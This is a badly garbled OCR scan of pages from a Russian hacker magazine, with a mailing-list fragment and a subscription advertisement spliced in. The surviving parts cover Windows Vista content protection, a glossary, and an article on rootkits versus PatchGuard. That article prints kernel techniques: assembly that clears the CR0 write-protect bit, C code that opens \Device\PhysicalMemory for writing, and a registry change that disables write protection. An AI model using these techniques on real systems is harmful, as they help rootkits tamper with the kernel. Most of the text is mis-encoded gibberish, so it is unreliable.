acaéi tf ааепйоаор U GE if ai én if ai ef HD DVD KMCS1, 
й агаа! -AdaE aT 1 & aa & aa WHQL2 
а базеё1 а yada PVP-OPM cai 61 A- HD DVD MFPMP3 
1 оввёё й af 0880807 Aaf Го] 
4086 6 +anéei 
aaai 0261 1 
PVP-UAB cai 61 A- HD DVD MFPMP 
т овёёе й aenéadi 01 
дбаб в-апёе 
aaai 0261 1 
PVP-OPM cai 61 A- 1 aa@a-éi Г оаг 0, МЕРМР 
а баг а т овёёё обааор и ге 
fil A) Adal 1 0 COPP'a{aXP 
абавааб yada, i? ai Qnd i? атейй HD DVD KMCS, 
Га асае! 1 ааейоаор иёе aa & аа WHQL 
й агаа! -абавааб! 1 
абавааб fidat аабо fdat аабо ai Ai 61 есаазагеа  \МНОЕ, 
i? 6Uct ааоавийёт a cau au ата MFPMP 
базеё1 a, & гда! ба 
acaéi Г ааепйоаор и aE -абас PMP 
A агаа! -абавааб! 1 
абавааб yada, РОМА i? ai and SAP-€i Г 08/6 WHQL 
асаё 1 аавйоаор U AE éi aa й adael Aehdal 1 é, 
й абаё1 -абаеааб!1 еёё 11 са! éypueé 
aai &11 iif af oaie caaaénoai aaoi 
yoe обаа! аа! ay 
абавааб РМР-РЕ i? ai Qn éii тт (af ой WHQL, 
it @Uci 4a0aeUAaT a é aa ёёё APOs, MFPMP 
базеё1 a Ge абоаёа 17 adu га 
étiiifafoa, 1 абаааой ааой 
6+ahdadp и еа cau éu afi é 
атабаа! 06a él гоаго 
Тацаво! а APO 
i 6aaei d Media PMP-PE i? ai and i éaaar a, MFP MP 
Foundation & аа 1 абаааой аари га 
(ет Aaéé, бевёиоба ) cau éu aff dé 


дл уху x 


— ТГ NOpi Е 00 DIRECTSHOW PLAYBACK 
GRAPH, Ai Ni Di ЕСАГ ABU EE (ТО REN- 
DER) АЕАА! -i i Of E хАБАС VIDEO MIXING 
RENDERER FILTER (VMR). 


— CAi Di NEOU VMR AEB IAMCERTIFIEDOUT- 
PUTPROTECTION El ОАРОАЕМА. 


— AU CU AAOU IAMCERTIFIEDOUTPUTPRO- 
TECTION::KEYEXCHANGE, Ai САРАЦ Ap - 
UEE 128-AEOI | ANEOxAE/ i А xENEI , 
NAAi АРЕБТ АА! i i A AEAAT -ADAE AADi | 
А! ANOAN OAT? xEi E NADOEOEEAOI А, 
Ni AADAAU AE 2048-AE Oi UE Т OAEE x- 

i UE RSA-EEp x, Ei ОГ DUI AUETI Ai E- 
МАГ ADAE AAD. 

— i pi AADEOU ОАГТ xEO NADOEOEEAOI A 

Е, ANEE OAi i xEA NADOEOEEAOI Ai A- 


ААРГ A, i DAEDAOE OU DAAI OO E OE OE 
ГАТГЕГЕ. 

— ГОГ AADEOU NI ENI E Ai i OEEDI AAI ТОО 
МАРОЕОЕЕАОГ A (CERTIFICATE REVOCA- 
TION LIST EEE СВЕ) Е, ANEE 01 OB AU 
1 АЕ! ЕС NADOEOEEAO! А ОА ОМГ AE 
EDAOE OU DAAI 00. 

— ECAEAxU Ec ОАГТ xEE NADOEOEEAOI А 
| OAEExi UE RSA-EEP x. 

— EL EOEAEECEDI AAOU COPP-NANNEP . 

— МААГ ADEDI AAOU 128-АЕОГ UE AES NAN- 
NEi ii OE EEp x, Ei Of DUE AOAAOEN- 
Ti EUci ААГ AERii AT ENE ААГГООЕ 
i pi AADEE 01 АГ, xOi ТТ АГЕМАГ ГОА 
АА ГОАГА АОЕЕ 1 i AEOEOED! ААГО. 


— NAAT ADEDI AAOU ААА ЕРЕТ OF АРАОЁХА- 
МЕЕО МАЁРАОГ 00 32-АЕОГОО МЁОХАЕ- 

Г ООхЕМЁА, Г АРАТ AEC El OF DU OT DAA- 
МОААЕВАО МГ Al Ef ii ADi i МЕААТ AA- 
OAEUI | NOE NOAOONA, A AOi DI A— [1 - 

i АРТГ NEAAT AAOAEUI 7 NOE Ei i ALA 
(ЕАЕАОЕ DAG, Ei AAAI DEET ZAI EAI I - 
МОЕААОЕГ 1 Ai AOEEE САТ Bi М NOAOO- 
МА, Ni | ОААОМОАОР U ЕАГТ | АБАТТ - 
МЕААТ AAOAEUI 7 NOE OAAEE xEAAb ON 
ГА ААЕГЕООЕ Ai CADAU Ab ONS Ai ANOA 
№ САТ DI Nii f ACAAY DEE AAI Ep ). 

— ГАОЛАЕГЕОЙ 128-AE OF 1 А МЕОХАЕГ 7 A 
xENET ‚ТТ EOxAL i 1 Al OAEAAI -ADAE- 
AADA, NAES NANNET {i 0) ЕЁР xii, 
ili ADAI Ef 7 NEAAT AAOAEUI 1 NOE 
NOAOONA E Ei i Ai A, AAEAA — CAGE- 
Opi AAOU У ОГ OAAE OI ADE | АММЕАТ O- 
AEExi 01 ЕЁР xi i АРАЕААРА Ej АРА- 
AAOUi i EOxAi | GE DACOEUVOAO! Adi AO 
IAMCERTIFIEDOUTPUTPROTECTION::SES- 
SIONSEQUENCESTART. 

— ГАХАООТ Of DAAER OU СОРР-ЕТ | Ai AU 
E CAi Di NO NOAOONA. 

— 11 Ef OADANT AAOUNB | AEEXEAI СА- 
ОЕОГООТ AOAI ЕС! ГА, A OAE EA EO OE- 
ТА! ЕТ OOAT AU Ci АА] Adi АА IAMCER- 
TIFIEDOUTPUTPROTECTION::PROTEC- 
TIONSTATUS. 

— ONOAI | AEOU CAAAI ГОА Opi Al E CAU E- 
00 ГООА! AU Gi AAi АОГ AA IAMCERTIFI- 
EDOUTPUTPROTECTION::PROTECTION- 
COMMAND. 

— ГАРЕГ AExANEE ТТ РАС EAAOU OAEOU EE 
opi ААГО САЦ Е 00 ‚ГА! AAEAI ТТ ТРА- 
EDAU АВ Ai Ni Di ECAAAAI EA, ANEE Ei - 
EAEUI UE Opi ААГО CAUEOU AADOA 
ГАГЕЕААГГТ Eci Ai EON. 


Eaé aeaii, 1 ArT af da cau eo ааё 


ТТ 

а 
dee i Oi ааб1 &, 11 вазар и ебйу Га ебёт OF AAG 
саайаари ёбт Of] , +0? adi? éf You айа убе в аёе, а 
Таи al -of, М ado Affi Га! аусабаёш 1. Оаёоё-а- 
fe, сай еба 686 OF ai & 1 ааёа-& { саг ба 11 ваааас- 
fy fa andi 1 AOU баавёсабеет вааба, Ai OT GUE, Afida- 
dé ai af бу, Gf OU cau eu af 101 14e6 евабеёё, (7 
уда cau 60a айт1 вГагагат 61 dai 1 111 aid pau 
Гаагабаым!1 сот ага. 

17 ad? af dai а! aAai yori 1 Тай! Тб +2600 а 
йГабёб &€adee Га СОРР-1 61 Of &1 & «Using Certified 
Output Protection Protocol (COPP)»: msdn.micro- 
soft.com/library/default.as р? url=/library/en-us/dnwmt/ 
html/using_certified_output_protection_protocol_ 
copp__bwjn.asp. 08] г=81 fai? (a608 ё a Of Ad aT de- 
1 аба, df бт и ab U Ga 0661 и af Ga yo в cadacH. 
> caéép +8/ 64. Еаё е Aéaal аа&1 1 ааёаа0й, { e+a- 
& 1691 & OMicrosofti aii é6+8éT Ad. Al aAdt ecyu - 


ПЕ, Aacdsb 176 ат! -Г йа yu & 6( adda 1 6 ca- 
И 600 17 &0-686 661 26621 812681 88091 281 (1 2=3- 
Oda 1 1 A686, ГА 1ГУЫ! Ot авар и de day &3- 
ai 6 бзёё м саг CO, OF 2100 6880-01 1 -8Г а 61 OT - 
oi ИГУЫ В, 11 51088 базвёсабау... 

Ai Av ai , 684800 а8с 047 OU Га 1 ВЫ dOAY, 
daé = 11 &0с1 AdORSS 1 186018 AT SIT AaOLAY © 


981 Anadeé 
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http://download.microsoft.com/download/ 
a/ff7/af7777e5-7dcd-4800-8a0a-b18336565f5b/ 
pmp-sign.doc 

1 абагёя сай eda | aaéa-€i f баг Oa 


http://msdn.microsoft.com/library/ 
default.asp? url=/library/enus/dnwmt/html/ 
using_certified_output_protection_protocol_ 
copp_bwjn.asp 

fi абёб еёабёу {a СОРР-1 61 9 &ё 


ADVANCED ACCESS CONTENT SYSTEM (AACS) — Ni АОЕОЕЕАОЕВ, | ТЕМОААР U AB 
ОГ DAAEAI ЕА1 AAEA-Ei [ OAI Of | ,CAT ENAT IT Ui ГАТТ OExANEEOI i NEOAERBO 
NEAAOb U AAi ii ЕГЕАГ ЕВ Е ТГ DAAI АС! AxAi i Ui AEG Ai Ni Di ECAAAAI ЕВ 


i APCE AAO {i i ГООТ Di EADU AAOAEBO. 


CERTIFICATION AUTHORITY (CA) — «AAOi DEOAO», | DAA] МОАДЕВЬ U EE NADOEOEEAOU, 
ТТ AOAADAAAP UEA, xOi {| OAEExi UE EE xi БЕ! ААЕАА ЕОЕМОЕ! I i | OAEAAAEUOO. 


CODE-SIGNING CERTIFICATE — NADOEOEEAO, ENI i EUCOAI UE AEB ii Ai ENAI EB 


AAi Exi UOOAEEI А. 


DRM ATTRIBUTE — CODE-SIGNING AODEAOO, | ЭААТ NOAAEAI i UE «WINDOWS LOGO 
PROGRAM» (CAANU «PROGRAM» — YO! | Ai Di АРА! | A,A EI 1 i Ai ER)E 1 Di AADRP UEE, 
xOi ADAEAAD AUT I Ei Al ATi Eii | Ni i OAAONOAEE № ODAAI AAI EAI Ai i ADAOI IE 

Oi EAADNAEUI ГЕ АОАЕ! -ADOE OAEOODU (UNIVERSAL AUDIO ARCHITECTURE, Ni EDAU Ai Г] 
UAA), Ei ОГ DAB i i САГ ЕВАОАРАЕААРОТ ADAAAOU AAOU САЙ EU Ai i UE i ААЕА-Е1 [| OAI O. 


DISCRETE VERSUS INTEGRATED GRAPHICS — AENEDAOI UA ADAOE xANEEA AAAI OADU. 
| DAANOAAEBb ON! Ai Е МА! 1 №01 BOAEUI UA ONODI ЕМОАА, | AU xi | ANOAAERAI UA 
Ai AOADE| NEOP | EAOO хАРАС МЕТ OU DAN@ EDAI ЕВ (El OAADEDI AAI i UAAA 
ADAOE xANEEA AAAI OADU АМОРГ Ai U i Ai i NDAANOAAI ii АМА! xEi NAO). 


IDENTIFIED KERNEL — BAD ,AEi Of РГ 1 { AOI A 
AAO] DEOAOAI Е, ЕТ Of DUI MICROSOFT AACi 


1 ЕОЕТ ADAEAADA, i i Ai ENAT ГОА 
| Ai AADBAO. 


KERNEL-MODE CODE SIGNING (KMCS) — | Di OANN OE ODI Ai Ai i i Ai ENUAAI EB 
i Di АРА] | {i Ai Т AANI AxAi ЕВ, AAC Ei Of Di Al ТТТ 1 Ai i ZEAOAU 00 CAADOAAI 1 


ГА Opi ААГ UBADA. 


MEDIA INTEROPERABILITY GATEWAY (MIG) — РАМО EDRAI UE i OEUOE] ААЕЕГОЕ Ei | AAEAD, 


САЙ ЕЦ АГ Ii Ai i ЕРОЖАГ ЕВ (PROTECTED ENVIRONMENT, Ni EDAU Ai ii PE), Ei Oi Di A, 


| xAAEAI 1 ,CAUEUAI i Ui ГАВАЕВАОМВ. 


MIG PLUG-IN — Ei i ТГ i Ai OU i АРААТ OEE 1 AAEA-i 7 Of EAEEE CAUEOU АА Ni ААРЕЕ! ТА! , 
| AO] ABU EANB Ai OODE MIG-Ei | AAEADA Е | DAT ВОМОДОР U EAI OEDU 01 | 0 ADAAAZ O МРА- 
AE AAEA Ai В (i DE] АРА! Е MIG-i EAI Ei i ABAEBb ONG ЕТ AAEE Е AAEDEI 01 50). 


PARTICIPATING DRIVER — Eb Ai E Ei | ТТ | Ai Of i EUCi ААОДЕОМЕТ Ai Obi Ai В, 
CAADOA AI i UE Ai OODUPMP PEE Ei AP UEE Ai №001 Ei ACAMEODI AAI Iii 0 
CAU EUAI iii О1 ААЕА-ЕТ [ ОА! 00, ОБА! Nii РОЕРОР UEE АА! хАРАС ANb NENOAI O 


PROTECTED CONTENT — EP Ai E | ААЕА-ЕТ Г OAI О, CAUEU Ai | UE EAEI E-EEAI ОГ Е ТЕ 
DRM (DIGITAL RIGHTS MANAGEMENT — 01 DAAEAI EA OE ODI АО! ET DAAAI Е). 


PREMIUM CONTENT — OEODi Ai Е ЕТ | OAi ONEAAOb U ААГ Ji Ei EAI ЕВ, ОАЕТ Е EAE HD DVD 
EEE Eb Ai Е ADOAI Е O/ Di AO, CAUEU Ai i UE МОД! AADOI i AACS. 


PROTECTED ENVIRONMENT (PE) — NDAAA, САЦ EU Ai i AB 1 OOAEADNEI Ai Ai CAAENOAEB 
(OAi DAOE xANEE САЙ EU Ai i AB), A Ei Of Di Е DAAT OAb OPMP-Ei 1 ТТ i Ai OU. 


PROTECTED MEDIA PATH (PMP) — i AUEE OADi Ei ,i OAAOU AAP U EE | [Г ZANOAI 
ОАО! i Ei AEE E | EAOO! Di ‚Г AAN] AxEAAb UEO ONO] ExEAOb , Ei OADI | ADAAAEUI Ob 
i ADAAI ОЕО OE ODI Ai Al ЕТ i OAI OAT i Ai Ai ii Ei EAi ЕВ i AWINDOWS VISTA. 


AO 11-06 
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SS 


‹ 


РАТСН-СУАВОТ OMS 


ЭМЕВО WINDOWS XP/VISTA, SERVER 2003/LONGHORN/ i ВАЕЁМВ OED 


-АЕОГ UO AA 


A 64 


OAE 
iA 
1 


PATCH-GUARD, Ei Г ОРГ EEDOP UEE 


ОАГЕС! 


ОЕТ А 


EEAI EDI АА! i 


DACDA 


NOAI OP EAAEO 


OAEAE I 


i AAO 
N@ ABAD 


a 
EO 


E 
ОЕ 


ADAxU I 


EAR САО ЕСА, E11 Aili 


Ei | AAAZI AOA 


DAAI OAP U EO! Di ADAI |, AEAI U AAP 


NENOAI О Ei DECAAI i UE ОА 
i АМЕГ EU 


ба i iff afod (абавааба, Aedeedd, 1 Oe аеа- 


«= 


b. A aaau х86-1 6 


(1) 
mov eax, cro ; абосеё! Oi badéypleé Gadehod crO а бааейоб eax 
and eax, OFFFEFFFFh; fiddanddaal ae0 WP, саг бацариее caiént 
mov cr0, eax ; dafiaéyal oi daaéypueé бааейоб сго 
Ета, aeepsapuee caueod yada (2) 
mov eax, cro ; абосё! Oi dadéypleé Gadehod crO а бааейоб eax 
ог eax, 10000h ; fadantdadi aed WP, cai dabapueé cai end 
mov cr0, eax ; bafiaéyal oi dadéypueé базейоб сго 
| оебооеа i Nadal onodlénoaa Physical Memory (3) 


HANDLE Section; OBJ ECT_ATTRIBUTES ObAttributes; 


/] bacida i adaiafita 
NTSTATUS nt; 
INIT _UNICODE(ObString, L"\\Device\\ Physical Memory"); 


[1 @1edeaeecadey addeadoia 
Initia 


/] 10@60daai fhaedep Physical Memory 
nts = 


af af ayi &, & «Ай +20 Apo» апу& 8 ii af ared 
Adda. Edel) O11 вст азозёр TT/OaaROAY, 51 га 


sai if daeafaii- 


oO: Of — op 
os 


a 
563041 { 6 Q48/ SAARI ор Af OT OI авёр. 

117 Gd88 са 20800 yao! 7 O3ai Sef ai ABSA Ca- 
81881 81 ado? aa Aénod. [ as8/ ay A W2K, Microsoft 
yada 10 cal аб 8габ абаваав а, OBER 11 OT AVL 6 
1 1486 @6861 AadU & 8-401. 7 ar aal аву Al Gdar AL ay 
Табы! 6 Al Al BAGS) 1 ADE A deed Г ЭГ eAAIT GT eT 1 2- 
dai 1 М 8 A081 OAAGAI 1 008/ a BAcaKMa, 1 овёр «ар - 
vay са 806, a 9 +188 — баёа 01 VOU: 


1 ONOAI 7 AEAT АРА] AODA 
ENFORCEWRITEPROTECTION OEI A 
DWORD-AAOEE NENOAI ii Al DAANODA 
HKLM\SYSTEM\CURRENTCONTROLSET\CO 
NTROL\SESSIONMANAGER\MEMORY MAN- 
AGEMENT A «0» (ЕС! АГАГЕВ АМООГ ВО 
А МЕЕО ОТ ЕОЕГ ТТ NEAT ADACAADOCEE). 
2 NADI № OEAAA WP (WRITEPROTECT) 

А Oi DAAERP U Al DAAENODA CRO (М. 
EENOEI Al, 2), — ГА ОРААОАОТ АРАСАА- 
РОСЕЕ, [1 Ai МООГ АГ Of EVE? 

EC DAZE! А ВАРА. 

3 DAI Al Ei ANODAI EO —7 OF АРАЕАА] 
OECEXxANEEE AADAN NODAI EOU, Ei Ol - 
pop ТО OF OE] 1 1 AEQEGOEDI AAOU, 

Г AAEDOOAE UI i А AADANI 7 AT DI NODA- 
| NOAT «МАГ АД! » i BI ОАММАТТ NDAA- 
МОАТ 1 AUCi AA ОО! EOEE 
NTMAPVIEWOFSECTION. | АСГ AxAAi ANA 


izeObjectAttributes(&ObAttributes, 
OB) CASE_INSENSITIVE | OB) KERNEL _ HANDLE, 


&ObString, 


NULL, NULL); 


tOpenSection(&Section, SECTION MAP_READ| SECTION MAP_WRITE, &ObAttributes); 


i Al AOi AE] ОАТРААА E AODEAOON , 

ТТ NEA xAAi AAEAAI Ni AE ANA, xOi 
5000 Ai NOOI Е ВАРО ААЕА М I DEEEAA- 
ГГАГ ОРГ АГВ, ГРЕХА! AAC i АБАСАА- 
DOCEE! 

4 САГЕМОАТ NAAAT ONODI ENOAT PHYSI- 
CALMEMORY, Г РААМОАДЁВЬ UAANI ATE 
1 ADAG OECExANE/ Ef Ai ROE 

Ai ОРАГ МЕВОЕЕ AEDOOAE UI UO 
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ААРАМГ AE ii САТ ЕВЬ U AAI 1 AEOEOE- 
ЭТ AAOUT Al BOU RADA ААЕА NI DEE- 
EAAI i АГ Opi Ai 8,1 АЁАААВ ANAAI 
EE@Ui DAAAI Е АА] Ei ENODAOI DA 
Е ААС 1 АРАСААРОСЕЕ (Ni . EENOE/ АЗ). 
51 ТАЕОЕЕАОЕВ OAEEA NTOSKNRL.EXE 
i AAENEA— МА! ОЕ ОРГ AEEAUE Nii - 
Ni AEC АМАО, ОРААОР 0 ЕЕТ Аб! AA 
SFC, ЕТ DDAEOEE Ei { Opi EVI 7 E МО 10 
EXE-OAEEA, | ADACAADOCEE,E E Of 1 O 
AA АО СО АДР UEE NADUACI OA Ei [ O- 
EEEOU i DE ONOAI 1 AEA SERVICE 
PACK’ А. 
«|1 608 +ahee &1 65460/ AY» 1 61 Adal 1 a al Ba aL Aa 
161 hoi 7 O6ép +adt/aéeh -а0й сай G06 То Gai ene, 
а са! 11 éf adu баёои аа Ai Adi yi ва аёба WP табаа 
adi ва af af éai , а сада! af AAOal завёааоби Bai 1 а- 
adi? «éaé adel», ёГа-а 1 tefl fai д! еса! éufi 
аёёр +80 cau G00 а Hai пе fai? adi ауи eéi 11 Af, 
Cai @AU A 6 ёсё-айёор та! You т Adu Anodéy- 
аойу hei ef aa (6 11 6 aa, i ai Adi аё! 7 тбаааабе- 
oaéuii Гавоё “а Hal? a yada, +0i ii ai? йаа- 
6a0u, гатоё] аб, тт ей 1 AeA аооба 1 Таед ебё- 
ddai 160 Of ё06ё а PhysicalMemory, i dé yori йа- 
Та 6 df 60ey а! Gai a | SENdONOAT ааой а та! убё, 
ага aaéyouny а побагё-{11 6 a6éa, OF айбйт баг=- 
aa tai i 1 486 ебёб1 ааой 6 Of GOH, аа Га! аб! аё- 
17 a0 ¢0 4adu Gi оу ай AG еёоваг Ci е AGAdi Af Oa- 
те) (вейоегаз). 
А +anfdi? Ade, soft-ice 6847 0880, ей! 1 ёйсбу 
Табайе fit Al a, а! Gla Af йода! af O€4ESOAT а, аба! а- 
1 adydi а é rootkit'l а — adi 61 в ё обабев. хабаабой в 
HiT ALA aT ALT ALT) айоба-ааойу а rootkit'ad (ёт 6 & 
ба! 1 аб, гбааг асга-а! Год aéy а! биай Га в, O8- 
iaSDTRestore).) удав ALT AT AT AGH? ей 1 &0с6ад- 


©) beta: не cp guar compmblgd petite STEN meg OTS hem + 2. 
Фу ordevety фуоюаьмм Qoenctn au Gedy Gheariren Qleeten Q)ttitdn Qeateot Goto 
= Е ^ 
Thus ot the mad archers of the gam~patchesPecurces. redhat . com mailing bert for the GDB promct 
Index Мау (Rate Index) [№ ис Index] [Auth 
Mezsage Nay; [Date Prev] [Date Мех Г 
Others format: [Еле test) 
Аи ” as > 
Re: PATCH: Guard uses of fork 
© From “Eh Гек" ес at pro dot org? 
® To Mark Michel <mark at coderoursery dot com> 
. | ЗФ райсьез at rouces dot redhat dot com 
. 05 215313 +0200 
‚| 
. mt 
. $2 at gprs dot org> 
> Deter Ved, 16 Bar 200% 06:37:44 -0000 
> From: Mark Ritchell <markicodesour аж. 
$ o@-patcthes@ sources. rechat.com 
> Daniel Jecchowsts wrote 
> This ie OF i'm Sot зе wT GnGeretanding of the NIGP bite 3 
> > Correct, but this patch 32 wate whether I wae right or горя, which 3 
> why 1 dake at м 
Ra te 0 В Ret *) 9 ee a 
2 © beer 


Т айбаваа! ёа а басааба 
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Ета 001 eoee PgCreateBl ockChecksumSubCont ext, 


Oannhzeoudapuee eli O01 éUi OP NOlio cadaiilal 


(4) 


PPATCHGUARD SUB_CONTEXT PgCreateBl ockChecksumSubCont ext ( 


PPATCHGUARD_ CONTEXT Context, 
ULONG Unknown, 

PVOID BlockAddress, 

ULONG Bl ockSi ze, 

ULONG SubContext Size, 

OUT 


ULO 
ULO 


GChecksum32; 

[[ Checksum 64-bit blocks 

while (BlockSize >= sizeof(ULONG64) ) 
{ 
Checksum ^= *( PULONG64) BaseAddress: 
Checksum = RotateLeft 
BlockSize -= sizeof (ULONG64) ; 
BaseAddress += sizeof(ULONG64) ; 
} 


[[ Checksum aligned blocks 
while (BlockSize-- > 0) 
{ 
Checksum “= *( PUCHAR) BaseAddress; 
Checksum = RotateLeft 
BaseAddress ++; 

} 


Checksum32 = (ULONG) Checksum; 
Checksum >>= 31; 


do 

{ 
Checksum32 ^= (ULONG) Checksum; 
Checksum >>= 31; 

} while (Checksum); 


typedef struct BLOCK CHECKSUM STATE 
{ 

ULONGUnknown; 

ULONG64 BaseAddress; 
ULONGBI ockSi ze: 
ULONGChecksum; 

} BLOCK_ CHECKSUM STATE, 


fy aéy | O4a0a0 Af Oy 180-81 44/7 в AOAeS Windows 
a «é@dai cai fi dp». 

Т абат а гайобт вагёа Га rootkit'd Microsoft 
i Oaai бе! уёа а Windows 2003 Server SP1, саёба а 
ai hod? & PhysicalMemory Га of 6Ué? adi егейобад - 
66, {1 daca i беё! eeaf eyi Ai Seaeeadeyi в SYS- 
TEM! Мёааор и ё6 в a8, i баа! бе! удав бага а Аёй- 
ба — call ёба yada бед Of ат ет! агепир ‚ тбаа! ва- 


РВЕОСК_ СНЕСК$УМ_5ТАТЕ ChecksumState OPTI ONAL) 


G64 Checksum = Context->RandomHashXor Seed: 


Checksum, Context->RandomHashRotateBits); 


Checksum, Context->RandomHashRotat eBits); 


(5) 


*PBLOCK_CHECKSUM_STATE; 


dau ара aé aa | 
&1 186-38, 051 O408-+4RMS. | A 1 OaSOVNA aed 56850 
1 1486 @6806p 0 yaar 
4068 O86 61 AT 611 атёйё, 1 O8al Gaay TT иазагав 
ca (af aal aff AdUp . 
16881 oa youd) 400 
cau eu AL {7 AOU ARAOAL @, 8 


11 A€l 8066 CARH OBA ANAS BACAR 1 OdASS 


баа! Of Hii Ai afi HOST 8611 ial Sf вё-айоаа ваааёи- 
{067 Of dai i ‚Га +0 Microsofti i 608 fai 7 da, 77 - 
yori 6 daeed 32-аё ау базаёобу ASAD 17 -i бааы а- 
1 Of hoaadAy f асай éb af {т в. 

> adaéa Га yadi а 64-ded/ 
11 вис! dado ейитт уава! ва! 11 i Of ¢ 
4668044006 x86-64 (AMD) é IA64 (Intel), Microsofti а- 
daf апёа Га гёб па! ё Aehdai O: XP, A€AOd, Server 
2003 ё Server Longhorn, i 61 af савайёа {7 абр 11 ё6- 
02661 1 ded Géadee уаба — OF ANd Г eéaéi в 1 таё- 
6 еёабёё. Ааепозовоа Of GUA -абас вааавигаа 
пбаапоза ee Af паёааГ у! А атааатё ё yori 6, 
Microsoft сааё! &е61 даёа саабосёо абавзаб! а аас 
бёб Of af 77 ai ейё, 177 dau аа, di Геваё в гааад - 
deci аа! Гаев Gi af ahi 1 eadi 61 Г еёГ оби Га Odi ааГи 
yada. Оёта, геваёеб -абаав ё rootkitT ат огагага 
абаад, fi G08 Ai? AT ef 7! (AT ваатт adi AFT та yori 
баййёасй aap 6 headdp и ват 6 ебёаёи! па а! 601 ai - 
OU : http://download.microsoft.com/download/c/2/9/c2935f83- 
1a10-4e4a-a137-c1db829637f5/windowsvistasecuritywp.doc, 
http://download.microsoft.com/download/9/c/5/9c5b2167- 
8017-4bae-9fde-d599bac8184a/KMCS_Walkthrough.doc, 
http://download.microsoft.com/download/9/c/5/9c5b2167- 
8017-4bae-9fde-d599bac8184a/kernel-en.doc ё абоава). 

Eaéay 061 забав! ау Cadi а 1 11 ici аабавуб! 
Е @aéi атба! забазеё ав! 1 ат Of? w Al aa ё басба- 
ai 0-66] ! Microsoft ааёаад аёа, +01 тб! аёа и Та- 
Gadi 16 fi ai айоё 1 поё аёу 64-аё Г OG пёйбат fa 
fou айбабаб ат дед! аа, ваё га пои айбабао & OI ALS 
161 а6а1 1 aéy (86. УМ Гат бааза. АГ вв Af Adal 
тбтаба 1 (Adi -ейёа е абавааб: а!) т ада! 1 яёойу 
10081 Тб! ПО: в табаё 1 тевубёе A Eddi в бабби Up, 
628011 dap и ав йгабёб G46 64-аё аб 256844000. 

Апоайоаа! it, -81 4864208 4800 сазойу абав- 
даб а 32-аё 0! Та уаб! ‚ да! Aéi а аа аа 1 озёбаои, 
даё +01 табаб! а Га 64-аё 0! аа йёйба! а сабу! adfy 
Гаа! ва , а гаё! df баа пёйоа f Ga боёёёой тбё- 
азопу табат ейаааой A +21“ а вёйда. Ма та 
i aéaii a, -01 Ге аёбой: а, Гё rootkiti а ум геваёга 
&1 пгаопу. | Adal ес! 1 Adi аа GEO OT AT 6 тт ат ee 
i 00а1 1 7406 G6adee д авёа 11! Aba+48 га Hadi 6- 
au a af т! yaéar dy A@AOd fa тбевааёав, & садё- 
[00а aa Microsofti ai? 4 Aeéd. [1 аааеа ahee ав 
yor оаайояу, а пёйба! аттё!! абаваад! a7 O Aoi - 
1 баавабй йуаб! 1 айа df oa afi, тёрйайда йа- 
116 лёйоа! а, [а габ, гё-аа га1 ав ааогатё- 
пай абавааб, 1 оёёр -ари ё6 тб! аабёб GEG OF AE 
ттатейё, & ттагейаой аа, ai fii вис! ааа efi 
ТТ аааё0Г Gi 681 Adi аабаг ая вет пов, Гат, 
yor а! вот 6 aai i бб в 6 Ali aba Гасаё гит, fi 
id аагат! caéiiii Ade a ai бы , абайм аббёаа- 
ai fda ага (i a)cau ёи af 11 Moe. 

Т fi сгааду айа yor , Microsoft af забёёа а па ё 
64-аё9 аа AeAdal й (ХР, Аёйда, Server 2003 SP1, 
Server Longhorn) fi абёаёиг авт Adal ея , & 1061 ё- 
бори ее баё! пой Yada её 020061 аа! Гав а бай! саа- 
(ai Patch-Guard. Мобааы &&, cf A280. 1 8а801 di - 
+81 , {ai бабаб: adg G4 Г еёаёёб с! а-ёбавиг обес а- 
Гагеёв fi аба! af Server 2003 $1, 8аа1 1, fi айбаа! 11 


UB) 


Ilia x86-64 


1 af AG sysca 


м$в-бааёйоба ,7 
eAOdd , 7 AaAi A+eaa 
’ та-еаар и ёа баа1 001 

аа! 001 ав ё!{1её 

116ё 
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Если при нажатии 
на кнопку двигатель 
не завелся - срочно 
купите журнал! мам 


С 1 ОКТЯБРЯ ПО 31 ДЕКАБРЯ ПРОВОДИТСЯ 
СПЕЦИАЛЬНАЯ АКЦИЯ ДЛЯ ЧИТАТЕЛЕЙ ЖУРНАЛА 


Cf | — 
ГОДОВАЯ ПОДПИСКА ПО ЦЕНЕ 11 НОМЕРОВ! 


ПЛЮС ПОДАРОК 
ОДИН ЖУРНАЛ 
ДРУГОЙ ТЕМАТИКИ 


ОФОРМИВ ГОДОВУЮ ПОДПИСКУ В РЕДАКЦИИ, ВЫ МОЖЕТЕ 
БЕСПЛАТНО ПОЛУЧИТЬ ОДИН СВЕЖИЙ НОМЕР ЛЮБОГО 
ЖУРНАЛА, ИЗДАВАЕМОГО КОМПАНИЕЙ «ГЕЙМ ЛЭНД»: 

»э ЯНВАРСКИЙ НОМЕР — ПОДПИСАВШИСЬ ДО 30 НОЯБРЯ, 

»э ФЕВРАЛЬСКИЙ НОМЕР — ПОДПИСАВШИСЬ ДО 31 ДЕКАБРЯ. 


ВПИШИТЕ В КУПОН НАЗВАНИЕ ВЫБРАННОГО ВАМИ ЖУРНАЛА, 
ЧТОБЫ ЗАКАЗАТЬ ПОДАРОЧНЫЙ НОМЕР 


И ЭТО НЕ ВСЕ! 


31 ДЕКАБРЯ СРЕДИ ЧИТАТЕЛЕЙ, 
ОФОРМИВШИХ ПОДПИСКУ НА ВЕСЬ 2007 ГОД, 
БУДЕТ РАЗЫГРАНО 200 МРЗ-ПЛЕЕРОВ QUMO X 


ВЫГОДА № ГАРАНТИЯ № СЕРВИС 
КАК ОФОРМИТЬ ЗАКАЗ 


. Разборчиво заполните подписной купон и квитанцию, 
вырезав их из журнала, сделав ксерокопию или распе- 
чатав с сайта Www.xakep.ru. 

. Оплатите подписку через Сбербанк. 

. Вышлите в редакцию копию подписных документов 
— купона и квитанции — любым из нижеперечислен- 
ных способов: 

по электронной почте subscribe@glc.ru; 
по факсу 8 (495) 780-88-24; 

по адресу 119992, Москва, 

ул. Тимура Фрунзе, д. 11, стр. 44-45, 
ООО «Гейм Лэнд», отдел подписки. 


Подписка оформляется в день обработки 
купона и квитанции в редакции: 


У втечение пяти рабочих дней после отправки подписных 
документов в редакцию по факсу или электронной почте; 
У втечение 20 рабочих дней после отправки подписных 
документов по почтовому адресу редакции. 
Рекомендуем использовать факс или электронную 
почту, в последнем случае предварительно отсканиро- 
вав или сфотографировав документы. 
Подписка оформляется с номера, выходящего через один 
календарный месяц после оплаты. Например, если вы произ- 
водите оплату в ноябре, то журнал будете получать с января. 


Подписка на журнал «Хакер Спец» на 6 месяцев стоит 1020 руб. 
Подарочные журналы при этом не высылаются 


ПО ВСЕМ ВОПРОСАМ, aa-28 ‘для мобеич и 8(800)200-3.999 (для жителей evry 


